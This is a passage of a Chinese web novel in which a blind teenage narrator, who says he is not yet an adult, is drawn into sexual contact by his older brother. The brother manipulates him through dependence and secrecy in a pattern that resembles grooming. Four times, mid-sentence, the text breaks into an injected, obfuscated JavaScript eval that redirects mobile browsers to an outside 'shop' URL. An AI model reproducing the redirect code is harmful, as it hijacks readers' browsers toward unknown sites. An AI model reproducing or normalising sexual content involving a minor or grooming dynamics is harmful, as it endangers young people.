我似乎笑了,因为我感觉到我的嘴角翘起来了,而且我听见路迟说:“你笑什么,笑话你哥有过这种幻想吗。” 他沉闷的气息喷洒在我的掌心,我能感受到的却只有他舔舐我掌心时的瘙痒。 我听见自己说:“路迟,是你把我带坏了,你得负责,你得赔偿我,我原本可以当个很正常的普通人,都怪你把我变成了这样。” 路迟又笑了。他见过我太多的无理取闹,但从未像此刻这般笑着说:“你要我怎么赔偿?” “…..我还没想好。”我说:“先欠着吧。” 路迟松开了我的手,问我:“现在满意了?” “满意了。”我重重地点了下头,说:“以后要是有人骂我是变态,我就让他来找你,因为这一切都怪你,不怪我。” “好。”路迟说:“如果有一天你犯罪了,哥也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315052|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你扛下来,替你赎罪。” “我怎么会犯罪呢,我是三好公民。” “是哥说错了。” “就是就是。” 就这样,我们之间的隔阂再次消失,夜晚时我们紧紧相拥着入眠,我从未感觉我哥的身体如此燥热过,像块烙铁,把我的皮肤都烫得酥麻瘙痒。 第二天早上,我的晨.勃持续了很久,久到路迟做好饭来叫我的时候,我还在平复我的呼吸,想让莫名的欲望降下来。 我说:“哥,我想先洗澡,我不舒服。” 路迟把我抱到浴室,调好水温才让我站到下面。我却扭扭捏捏的有些不好意思脱衣服。 “我帮你脱?”路迟问。 我觉得这句话特像小情侣第一次“约会”,一方问另一方需不需要帮助。我连忙猛甩了两下脑袋,在心底暗骂。 靠,又犯傻。 路迟没得到我的回应,直接上手扯我的睡衣,我呆愣愣地站在原地,居然没有躲开的想法。路迟脱掉我的睡衣,手紧接着就抓住了我的裤腰。 下一秒,我就觉得浑身一凉。 一件不剩。 路迟倒挺平静的,他说:“站水下面去,不用我给你洗了吧。” “不用。”我抬起脚步,想快点站到水流下,给自己身上添些“遮挡”,但这一步迈得太大,我脚下一滑,脑袋直接往后仰。 路迟眼疾手快地扶住我。 我心有余悸地大口喘气,说不出话来。 路迟叹了口气,说:“桉宝,你这样以后怎么可能一个人生活,你没了我可怎么办。” 路迟每说一次这种话,我潜意识里就更觉得我离不开他,我离开他就会死。 我彻底成了被无形的针线缝到他身上的布偶娃娃。 我离不开他。 我要依赖他,我要绑定他。 “我离不开你,哥。”我紧紧搂着他的脖颈。 路迟把我抱到水流下,我感觉到了,水顺着我的胳膊往下流,彻底淋透了路迟的衣裳,布料紧贴在他身上,我能清晰地摸到他身体的每一分曲线。 最重要的是,路迟硬了。 路迟把我放稳后,说:“你自己洗吧,哥出去了,洗完叫我。” 每次我洗澡的时候,如果不是路迟帮我洗,那他就会一直守在门口,我上一秒刚叫出他的名字,下一秒他就立刻推门进来,把我擦干净直接带出去。 但这是我第一次想到,他一直守在门口,那我弄出什么动静他都听得一清二楚。 想到这个的时候,我正高仰着脖子,压抑挤在喉咙里的喘.息声。 水好烫,但我的脸更烫。 尤其是我把东西弄到了地上,但我不确定水流是否将它彻底冲走了,路迟进来后,我始终紧绷着,直到我听见他说:“…..弄到墙上了。” 我感觉我没法呼吸了。 太尴尬了。 路迟却摸摸我的脑袋,说:“我一会儿再进来收拾,走吧,先给你吹头发。” 19. 第 20 章 吹头发的时候我一直把头埋地很低,我现在恨不得原地出现个黑洞,整个人掉进去之后再也钻不出来。因为实在是太他妈的尴尬了。 吹风机的噪音很大,但我感觉耳边一直在重复出现路迟那句“弄到墙上了”,这他妈的和在大庭广众之下做.爱有什么区别。 关键是还只有一个目击证人,这人还是我亲哥。草了,真是想死的心都有了。 更关键的是,路迟云淡风轻的。给我吹完头发,他甚至还给我擦了把精油,才扔出来一句:“我先去收拾浴室了。” 我下意识抓住他,路迟停住,问:“怎么了。” 我想说我自己收拾吧,但我根本收拾不了,说出这种话也只是白白添了笑料。纠结半晌,我张了张嘴,说:“你快点儿收拾。” 路迟笑了笑,摸了把我的脑袋,他看出我的心思,问:“感觉不好意思了?” “废话。”我憋着口气,说:“这事放你身上,你保证比我还不好意思。” “我可不会。”路迟说:“我觉得这事儿挺正常的,世界上所有人都会经历这种事,男的和女的睡了,所以才有了小孩,有了我们,大家都需要舒缓欲望,所以才会有繁衍的冲动,一时脑热创造出无数个本来就不该存在的孩子,任由他们在各种生活里遭罪。” “但大家都觉得这事儿很羞耻。”我说:“就连高尚的老师都耻于开口解释,更别说我这种庸俗之辈了。” “因为他们是傻逼。”路迟言简意赅:“避来避去有什么意思,真觉得这事儿不好,就该在人刚生下来的时候就对他们进行强制阉割,之后就不用考虑这些令人感到龌龊、羞耻的低等欲望了。” 路迟把我抱起来,抓着我的胳膊,让我揽住他的脖颈,他抱着我坐到了沙发上,边摸着我的头发边说:“桉宝,哥是要照顾你一辈子的,你没必要事事都觉得羞耻,无论你做什么,哥都知道,也必须知道,你受不了哥对你有秘密,哥也受不了。” “但这事儿…..”我话还没说完,路迟就捂住我的嘴巴,自顾自地说:“哥干这事儿的时候你不也知道吗,哥都没害羞,你怎么还害羞上了。” “我控制不住啊。”我小声说。我的气息喷洒在他的掌心,有些湿湿的,我下意识伸舌头舔了一下。路迟低低地笑着,说我是小狗。 我扑到他怀里更深处,把脸埋进去。 路迟接着说:“桉宝,人都有欲望,也都要吃饭,你就把这事儿当成吃饭就行,挺平常一个事儿,况且哥也不嫌弃你,哥愿意给你收拾,别人又不知道。” “万一他们知道了呢。”我闷声说。 “他们怎么知道?”路迟问:“你站在门口天天和他们说‘我哥给我收拾我射出来的…..” 这回轮到我捂住他的嘴巴了。 路迟咬了我手心一下,我立马说:“你也是小狗。” “嗯。”路迟说:“咱俩都是小狗,所以咱俩相依为命。” 路迟又说:“桉宝,你要是实在不好意思,就一直想着这事儿只是暂时的就好了,以后等你眼睛恢复了,你想干什么哥都不知道,你想瞒着,哥连察觉的机会都没有,你就当自己是寄人篱下,需要暂且忍受着,多想想以后眼睛恢复了的生活,就好了。” “我不想。”我哼唧着说:“说的好像我眼睛好了之后就要离开你一样。” 路迟碰了碰我的头顶,不对,他应该是在亲我的头顶。因为他声音传来的位置变了:“不离开,咱俩谁也不离开谁。” “嗯。”我抱着他不松手,慢慢地就睡着了。等我再醒来的时候,路迟正在给客人按摩,我乖乖地坐在沙发上等着,听着他和客人的聊天内容。 这是个从未听过的声音,是个男人。 “那你干这行赚的也不多,你就没想过换个工作吗。”男人说:“毕竟你长得不错,身体也好,出去随便找个工作肯定都有大把人愿意要你。” 路迟说:“没想过,现在就挺好的,守在我弟身边。” “你不能这么想,你俩是兄弟,又不是离开对方就会死的连体婴,万一有一天他要离开还不记得你的好,你有苦都说不出。”男人劝诫道:“有的时候,想往上爬就得无情一点儿,这世界上那么多抛妻弃子的人,不都是为了点儿利,况且他不是你的妻子也不是你的孩子,只是弟弟而已。” “等他抛弃我那天到了再说吧。” “你这心态可不行,我以前也和你一样,总想着多顾及身边的人,现在不也成了这屌样儿。” 路迟的声音有些冷淡:“那是因为你碰到的人不行。” “生气了?”男人还在笑。 我觉得这男的是傻逼,不对,不止是觉得。 他就是傻逼。 但路迟回他的那些话落到我耳朵里,我听得还蛮开心的,只能按耐着,期待听到路迟直接说出:“我不可能离开我弟。” “没。”路迟说:“单纯觉得你挺傻逼的,我弟什么样关你屁事,他真抛弃我了也是我命里该有的,跟你没关系。” “行了,起来吧,在我给你一拳之前滚出去。”路迟生气了。 我怕路迟知道我在偷听,连忙躺下装睡。 不一会儿,男人就骂骂咧咧地出来了:“你一个破按摩的,你还有脾气了,我说这些也不过是出于好心,想劝劝你,你还装上了?” “行,那出于好心,我也提醒你一句。”路迟的声音在慢慢远离我,我能判断出他走进厨房了。 几秒钟后,路迟出来了,他笑呵呵地说:“我有精神病,杀人不犯法,你最好赶紧跑。” 男人骂了句:“真他妈的晦气,以后谁还敢上你这儿来。” 我能想象到,路迟应该是拿着菜刀说的这句话。 不知过了多久,我听见路迟叹息了声,他点了支烟,蹲到了我面前。烟熏得我有些喘不过气,憋了会儿实在忍不住了,我才装作刚醒的模样,小声说:“路迟,你能不能别在我面前抽烟啊,给我都熏醒了。” 路迟摸了摸我的脸,说:“别演了。” 我他妈的,怎么每次都被拆穿。 我嘴硬道:“演什么啊?” 路迟根本不在乎我这句话,他沉默数秒后问:“桉宝,你会抛弃哥吗。” “当然不会。”我立马说:“你别听那个傻逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315053|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞎说,我就算抛弃我的屌都不可能抛弃你。” 我觉得这句誓言挺诚恳的,毕竟男人都是下本身思考的动物,谁能忍心抛弃自己的屌呢。 路迟笑了,他说:“哥只能跟你的屌比?” 我不知道说什么了,想了半晌才说:“你这是故意刁难我,我真不知道该怎么说了。” 路迟抓住我的手,缓缓和我十指相扣,他抓我抓得很紧,他一字一顿道:“没事儿,哥教你。” “你就说——” “哥,如果有一天我抛弃了你,你杀了我都没关系,我愿意为你抛弃一切,只为和你永远在一起。” 我的鸡皮疙瘩都起来了。 但我还是重复了一遍他的话。 路迟说:“乖宝宝。” 他托起我的下巴,很轻很轻地亲了下我的脸。 我能感觉到他的呼吸刚好洒在我的眼皮上,这一刻,我的身体却变得无比僵硬,不是因为我意识到兄弟之间不应存在亲吻,而是因为—— 我硬了。 几乎无可避免,我和路迟贴得那么近,他肯定也感觉到了。 路迟轻笑了声,我整个人被火烧了一通,下意识地从路迟怀里跳出去,但我这只可怜的小飞蛾还没来得及飞起来,就被路迟重新拽回了火里。 他抱我抱得更紧了,直接把下巴压在了我的脑袋上。我的呼吸变得有些不通畅。 路迟的手轻轻地抚摸着我的后背,他喃喃自语般说:“桉宝,别害羞,别躲着哥,你对哥有什么反应、情绪都是正常的,哥都接得住。” 但这不应该啊! 我怎么能对着路迟硬啊。 还是在他怀里硬的。 我感觉我完了。 因为路迟在我耳边说:“桉宝,哥有时候想,等你眼睛好了之后,我们就离开这儿,随便找个没人认识我们的地方,你依赖哥一辈子,哥也照顾你一辈子,我们只剩下彼此就好了,这样就没有那么多顾虑了。” “…..什么顾虑。”我小声问。 路迟叹息了声,他说:“很多,哥讲不出来。” 有什么东西是讲不出来的呢。 我想象不到。 我也不敢再问了。 我没有多余的心思去想了,现在我只希望我能快点儿软下来,至少别这么尴尬了。 之后路迟什么都没说,他只是静静地抱着我,一遍遍地叫:“桉宝。” 我觉得他在怕。 他怕那男人说的事成为现实。 怕我抛弃他。 我会抛弃他吗? 不会,抛弃他就等同于抛弃我自己,我怎么会抛弃自己呢。 路迟已经是我人生的一部分了。 我小心翼翼地将脸埋进他的颈窝,轻轻地亲吻他的锁骨,表忠心道:“哥,不管在哪,我都只有你,只依赖你。” 我觉得,或许以后我遇到真心喜欢的女孩,都不一定能说出来这种话。因为爱是担当,我没法在别人面前表现出过度软弱,也没法放心地依赖别人。 但依赖路迟就像呼吸。 我爱路迟。 真的。 20. 第 21 章 “不够。”路迟叹息着说:“哥没安全感。” 我不明白他怎么会没有安全感,在恋爱中的人经常患得患失我知道,但我俩是兄弟,一辈子都是兄弟,有朝一日我横死街头,警察还要给他打电话让他去认领尸体的那种关系。但其实仔细想想,我也懂,就像有时候我也会患得患失,怕哪天突然就失去路迟了。 不,我不止害怕失去他,还害怕他不再只属于我。 如果哪天他有了心爱的姑娘,要结婚了,要给我找个嫂嫂,嫂嫂讨厌我怎么办。虽然这种事发生的可能性不太大,但有时候我还是会害怕。 我摸索着去亲路迟的脸蛋,其实刚开始亲他的时候我还觉得别扭,俩男的亲来亲去的有点儿诡异,但现在,每次亲完我都觉得安心不少。 吻是温柔的,能让我确定他还在我身边。 我凑到路迟耳边小声地说:“哥,你怎么会没有安全感呢,我才是没有安全感的那个,你又帅又有能力,没有我的话,你肯定活得比现在精彩多了,哪还能碰到像那男的那样的傻逼,我挺对不起你的,哥。” 我的声音越来越小,路迟把我的身体往上托了托,沙发很窄,我稍微往下滑一点儿距离,就会立马摔下去。 路迟一手托着我的屁股,一手搂着我的腰,我觉得我像挂在路迟身上的巨婴,但这么说太难听了,还是说树懒吧,好歹可爱点儿。 “你没有对不起我。”路迟说:“是哥对不起你。” 那天,路迟一直抱着我说对不起我,还说他整个人都是我的,绝对不会离开我,那时候我觉得特别幸福,但幸福越多,惶恐也就来得越多。 我更加恐惧路迟的离开。 在第二次去医院,医生告知我要进行一次小型手术,我从小到大都特别害怕手术,光想想有人拿着刀子在我身上割,我像条随时会被开膛破肚的鱼似的躺在手术台上,我就觉得慎得慌。 我当时立马抓住路迟的手,说:“哥,我害怕。” “不怕,没事儿,哥一直陪在你身边,都是小问题。”在医院里,路迟毫无顾忌地抱住我,亲着我的脸蛋,我当时想把他推开,要是让别人看到了,他们不知道要怎么看路迟。 但路迟抓住我的手,说:“哥想抱抱你。” 医生走了之后,路迟就一直抱着我,我能清楚地听见医院走廊里人来人往的脚步声,以及一些细碎的哭声,我其实挺讨厌来医院的,这儿有没有生离,只有死别,我害怕,我怕死,怕路迟还活着,我就死了。 之后他就会像疼我一样去疼别人。 我觉得这是一种病,我急需脱敏治疗,但我连对口的医生都找不到,只能在晚上窝在旅馆里的小床上时,拼命往路迟怀里躲,紧紧搂着他说:“哥,我是不是太依赖你了,哪有弟弟连一步都离不开哥的,要不你先把我送去医院吧,等我学会独立了,我自己赚钱看眼睛。” 路迟摸着我头发的手突然顿住了。 他沉默良久后说:“等你独立了,哥就成多余的那一个了,你舍得吗。” “怎么可能。”我说:“哥,就算我再怎么独立,你也是我生命中无法割舍的一部分,怎么可能多余呢。” 我想了想,在脑袋里搜刮出个稍显高大上的词语,说:“哥,你这是妄自菲薄。” 路迟笑了。 他亲了亲我的肩膀,我觉得热,所以没穿衣服,但当路迟的吻落下来,我觉得更热了,还有些痒。 我认真地说:“哥,就算我以后有再大的出息,也不会离开你的。” “好。”路迟亲了亲我的下巴,接着是我的喉结,他的吻落下得很慢,呼吸就像潮湿的水汽,始终盖在我身上,让我有些…..不自在。 我挪远了些,想离开他的怀抱。 路迟说:“怎么了。” 我磕磕巴巴地不好意思说:“我有点儿…..那什么了。” 路迟笑了,他的手往下搭到我的大腿上,先问了我一句:“能摸吗。” “你摸这干什么,你没有啊。”我脸都烧起来了,夹着腿往后躲。 路迟笑得更大声了,他的手没再挪动,就搭在我大腿上,存在感却比之前都要强烈,我努力想要忽视,腿部肌肉却越绷越紧。 “放松。”路迟轻声说。 我深吸了口气,像得到命令后立马实施行动的狗,无比乖巧懂事。可行动是无用的,我甚至不受控制地想离开路迟的怀抱。但小旅馆的床太窄了,我再挪动一点儿就要掉下去了。 我身体刚往后倾斜些角度,路迟立马用另一只手抱紧我,搭在我腿上的手也开始往回勾,生怕我摔下去。 “让哥摸摸看你忍到什么程度了。” “…..变态。”我唾弃地骂:“你怎么不说先给我摸摸。” 路迟说:“那你来摸。” 我张大了嘴巴,没想到他能这么干脆,噎了几秒后,我才闭上嘴巴,小声说:“我不摸。” 要是打闹犯贱的时候摸上一把还行,现在这种情况,我要是真摸上去了,就有种玷污黄花大小子的错觉,简直禽兽啊。 我说:“路迟,你能不能含蓄害羞一点儿,搞得这么急不可耐,好像不把我扒开就誓不罢休一样,你这个当哥哥的应该做个表率好不好。” “我在做啊。”路迟把脑袋埋到我颈窝中,声音近到像是从我耳蜗里钻出来的,瘙痒一片,他说:“你不想继续逃避欲望,哥就教你该怎么直面,你不好意思直接让哥摸你,哥就让你先摸,不好吗?” 我说不出话了。 好像无论怎么说,都是路迟有理。 他什么时候这么会说了? 之前他不总是沉默着任由我无理取闹吗,现在怎么我说一句他就立马砸过来十句。 路迟的手又开始缓缓向上摸,他这么一说,我反倒不知道该怎么阻止了,甚至还不受控制地敞开大腿,生怕他会觉得我在抗击他的触碰。 我好淫.荡。我只能想到这个形容词。 但路迟没抓住我的家伙事儿,而是轻轻抓着我的手,让我往他那儿摸。我甚至还没反应过来,掌心就猝不及防的触碰了上去。 隔着布料,烫的。 我的手好像不是自己的了,不知该收还是该松,路迟还挺着腰往我手心碰了碰,问我:“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315054|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。” “就…..就那样。”我结结巴巴地说。 “男人都有,没什么稀罕的,也没什么好害羞的。”路迟声音淡淡的,仿佛他只是在进行寻常讲解,扮演老师的角色,引领我开发全新的领域。他接着说:“还害羞吗。” 屁话。 当然害羞了。 但我嘴硬:“不害羞。” 路迟说:“那就下一步。” 一阵窸窸窣窣声响起,掌心的温度短暂抽离,几秒钟后变得更滚烫。唯一的隔阂已经消失,完全的亲密触碰。 我觉得自己直接变成木头人了,路迟的动作还在继续,他的手掌压在我的手掌上,强迫我拢起手指,直接包裹起他的身体。 路迟刚洗完澡,不脏。 我听见他喉结滚动的声音,这声音很小却像经过无数个播放器般,自动放大了数百倍,我的心脏狂跳,整个人像被吊在半空中,随时可能摔死。 我觉得不能继续下去了,我刚要开口,就感觉手里的触感发生了微妙的变化。 “……..” “…..哥没控制住。”路迟说:“刚好,你现在也是这状态,哥没什么好害羞的。” 我害羞啊喂。 路迟真是恬不知耻。 路迟直接抽出自己的手,双手紧紧抱住我,将我强硬地锁在他的怀里,想把手抽出来都困难。 “…..什么时候睡觉啊。”我干巴巴地想转移话语。 “还早。”路迟说:“等你适应完再说。” “我到底有什么好适应的啊。”我忍无可忍。 路迟轻笑了声,说:“适应一下和你哥坦诚相见的情况,避免以后再害羞。” “万一以后你有什么事儿,因为害羞就不跟哥说了,选择去跟别人说,然后和那些狗崽子变得更亲密,哥有委屈都不知道到哪儿去说。” “我都不好意思跟你说的事情怎么会跟别人说啊。”我觉得这话不成立。 “哥心里不踏实。”路迟声音低低的,像乞求般说:“求你了,你克服一下,哥害怕。” 我没法拒绝了。 路迟像突然开窍了,一下就懂得究竟该怎么拿捏我了。但手里的东西又烫又硬,没一会儿,我掌心就冒了层汗,黏腻腻的格外不舒服。 路迟在安静了会儿后,就在我准备开口说“差不多了”的时候,路迟突然说:“桉宝,哥很爱你。” 他的吻烙到了我的锁骨上,似亲似吮。 比起这个,更让我感到僵硬的是—— 路迟的腰开始小幅度地动了起来。 他在蹭我,像小狗蹭主人,乞求怜惜。 我该怜惜他吗,我不知道。 我只是维持着一动不动的姿势。 路迟的喉咙里发出轻微的气声,他亲着我的脸蛋,说:“困了告诉我。” 他的意思是,觉得恶心就告诉他。 但我没说话。 路迟也没做错什么,他只是需要一些帮助。 我能帮助他解决问题的话,以后他就不会找别人了。 是这样的吧,我觉得是。 21. 第 23 章 对于手术过程我完全没有任何记忆,当然,这并不是因为医生麻药麻了我的脑袋,而是因为在做手术前路迟像个苍蝇似得,一直在我耳边念叨那些小时候就听腻了的童话故事,搞得我昏昏欲睡。在我躺到手术台上那一刻,听着耳边低低的交谈声,直接就睡了过去。 等我再次醒来,眼皮上包着厚厚的纱布,束缚感极其明显,让我觉得现在的自己就像埃及木乃伊似得,格外滑稽。 我问路迟:“我现在丑不丑。” “不丑。”路迟掖了掖被角,用手抬起我的下巴,让被子完全包裹住我的全部身躯。 更像木乃伊了。 做完手术之后要在医院住两天,这让我觉得特不自在,总觉得自己同路迟讲话时还有旁人在偷偷地听着,并以此来判断我的精神状态是否正常,是否需要转移到精神科。 我把声音压得特别低,接着问:“那看着是不是特别搞笑。” “没有。”路迟亲亲我的额头,说:“看着就跟等着家长来接的幼儿园小孩儿似得,特可爱。” “真假?”这话太腻歪了,我怎么可能像幼儿园的小孩儿呢,那帮小屁孩能有我这么长的腿、这么高的个子吗,显然不可能。我撇撇嘴,说:“路迟,你就昧着良心说假话哄我吧。” “哥是顺着良心说的。”路迟抓我的手去摸他的胸膛,掌心里的跳动如此明显,我一时忘了说话,只是条件反射地数起了他心脏跳动的次数。等我数到两百,我才骤然回过神儿,抽回手说:“行吧,暂且相信你一下。” 医院楼下有个小花园,我躺在床上感觉身体都要躺硬了,路迟就牵着我一点一点地走到楼下,在小花园的长椅上坐着。 路迟说花园不大,也没有多少人,所以我说话不用再刻意压制声音。 我和路迟手牵着手,随便说些有的没的,时间就过去了一两个小时。我发现,和路迟在一起的时候,时间总是过得特别快,我想说的话根本没法全部说完,所以总是滔滔不绝、生怕说得少了。 路迟安静地听我说,时不时附和两句。我甚至有一瞬错觉,我俩就像是年老的夫妻,没了多余的烦心事儿,整日唯一需要做的,就是依偎在彼此身边,摸着对方掌心独属于命运的纹路,静静地、慢慢地相濡以沫。 我从来不觉得我会喜欢这种平淡无味的生活,毕竟我还年轻,我体验过的东西太少了,我需要用源源不断的新鲜事物来刺激自己的大脑,让我深刻地感觉到我在活着。 但如果是陪在路迟身边,无趣好像也成了一种旁人无法插足的平稳。 我将脑袋靠到路迟肩膀上,说:“哥,等我眼睛好了之后,我立马就找个工作,赚大钱养你一辈子。” “钱得留着养老婆。”路迟说。 我捏捏他的手指,说:“养老婆之前也得先孝敬孝敬您啊,要不我良心不安。” “你还有良心呢。”路迟轻笑了声。 “有啊。”我说:“你都有,我凭什么没有。” “是。”路迟说:“妈教你教得好,你不可能丢了良心。”顿了顿,路迟接着说:“下周我去看妈,等回家了,咱俩就开始写信吧。” 是的,每次路迟去探监前,我们都有个特定的习惯,就是写信。我没法去看我妈,只能把我想说的写到信上,到时候再由路迟一字字读给我妈听,但我是个小瞎子,写不出信的,所以每次写信时都是我一字一顿地说,路迟一笔一划地写。 有时候说到一半,我还会有些不好意思。因为我想让我妈知道路迟把我照顾得很好,但当着路迟的面儿对他大吹大擂,我实在怕他骄傲。还有些时候,我说着说着,就想起监狱里的环境可能不大好,我妈必定吃了很多苦,我想问她过得怎么样,奈何言语匮乏,磕巴半天也只能挑选出一句稍微没那么伤感的问话——妈,你现在睡得好吗。 我妈睡眠不好,因为她常年干苦活累活,身子骨早就被压垮了,但她又不是爱抱怨讨怜的人,我之前一直以为我妈是世界上最牛逼的超人,因为别的叔叔阿姨干完活回到家,或多或少都对自家孩子说过:“我在外累死累活,幸幸苦苦供你读书,你他妈还说上累了小兔崽子?” 但我妈从来没说过。后来我才知道,我妈经常身上疼得半夜睡不着觉,我妈身上淡淡的香味也不是什么价格高昂的香水,是膏药自带的薄荷香。 后来膏药对她也没用了,我有时候半夜起床上厕所,睡眼朦胧时总是会看见我妈坐在客厅,一手撑着脑袋,一手掐着大腿。她应该是怕忍不住痛哭出来吧。 我想去哄我妈,可每次我刚轻轻抱住她,她就别过脸让我回屋。 回屋之后,客厅的灯很快也熄灭了。 我知道我妈还在痛,但她不想让我担心。 那现在呢,她睡得好不好。 路迟每次回来,都会告诉我:“妈说她现在身体比以前好多了,在里面的日子没有在外面累,饮食也健康不少,需要她操心的事儿少了,心里的担子放下了,自然就睡得好了。” 每次都是这句话,起初我还会松口气,但后面,我只会抿抿唇,沉默几秒后说:“哥,我什么时候才能成年啊。” 我想亲自看看我妈。 我已经等不及出院了。回到病房,我就磨着路迟让他找护士要纸和笔,即刻就开始写信。 但等路迟将一切都准备好了,我反倒不知道该说什么了。 我觉得鼻子一酸,刚想说:“哥,你说老天爷是不是嫉妒我有个这么好的妈,所以才要让她离开我。” 可我还没来得及张开嘴,路迟的双手就捧住了我的脸,他柔声引导我:“深呼吸,桉宝,调整一下情绪,你现在不能哭,对眼睛不好,你眼泪要是掉出来了,这手术的效果就大打折扣了,离你能看见世界的日子就更远了,你不想在成年后立马去监狱里看看妈的脸吗?” “妈要是知道你恢复视力会很高兴的,我这次就准备跟她说你接受治疗的事儿,让她开心开心。” 我咬住嘴唇,竭力隐忍,勉强“嗯”了一声。 路迟亲了亲我的脸蛋,说:“乖宝宝。” 我吸了记鼻子,说:“哥,你觉得写什么比较好呢,我想让妈知道我想她,又不想让她太想我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315055|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 路迟说:“像之前写的那些就很好。” 我摇摇头,说:“我觉得不够好,因为写完信之后我更想妈了,我对妈的念想一点儿都没转移到信里面,我好难受啊哥。” 路迟拍拍我的后背,低声说:“桉宝,你想的太多了,哥宁可你无理取闹一辈子,也不想看你这样。” 我缩在路迟怀里,没再说话。我调整不好情绪,只觉得喉咙里像是堵着湿棉花,喘不过气还有些轻微的挤压感。 最后,我说:“哥,这次信写短点儿吧。” “写什么。”路迟问。 “你就写——” “妈,我马上就长大了。” 等我妈出狱,我就能保护我妈了。 路迟说:”好。” 回家之后,我情绪始终不太高涨,这不仅是因为手术导致我眼部始终有些不舒服,偶尔传来阵阵刺痛,还要一遍遍地上药。还因为,路迟马上要去看我妈了,我又要一个人在家等消息了。 路迟去探监那天是个阴天。 窗外阵阵淅沥沥的雨声,周围空气都是止不住的潮湿,每次呼吸的时候,我都觉得我像是被泡进了冷水里。 路迟起了个大早去的,我没等多久他就回来了。 我听见开门的声音,立马下床朝着客厅跑过去。路迟紧紧抱住我,我感觉到了,他身上都被淋湿了。 “没带伞吗。”我问。 “带了。”路迟声音有些哑:“但是伞被风吹坏了,不过也就淋了一小段路的雨。” “是不是感冒了。”我说:“声音不太对。” “应该是。”路迟把我抱起来,走到沙发旁将我放下,自己则坐到旁边点了一支烟。 他没再说话。我感觉到气氛有些不对劲儿,心跳几乎漏了一拍,一种不祥的预感瞬间袭来。 我下意识问:“妈咋了。” 路迟沉默几秒后,语气轻松地说:“妈挺好的啊,我今天跟她说你要长大了,她特别欣慰。” “我不信。”我站起身,说:“你状态不对,别骗我了路迟,我又不是傻子,妈到底怎么了?” 周遭没有任何人回应我,只有连绵不断的雨声,如同紧促却又被刻意降低音量的鼓点,不重不轻却无可忽视地敲击着我的神经。 “妈真挺好的。”路迟笑着说:“就是今天路上碰到点儿意外,刚才一下没缓过来。” “什么意外?”我穷追不舍。 路迟叹了口气,像是因我执拗感到无可奈何,他说:“我碰到了个和老畜生长得特别像的人,我追他追了一路,也是在追他的时候丢的伞。” “怎么可能?”我皱皱眉头,说:“他死了啊。” “是,所以是我弄错了。”路迟顿了顿,说:“但是哥当时真的有点儿慌了,所以才失去了理智。” 好在不是我妈出了状况。 我松了口气,摸索着走到路迟身边,搭上他来搀扶我的手,顺势开始问:“妈今天都说什么了?” 路迟“啊”了一声,才说:“桉宝,你等哥抽完烟再跟你说好不好。”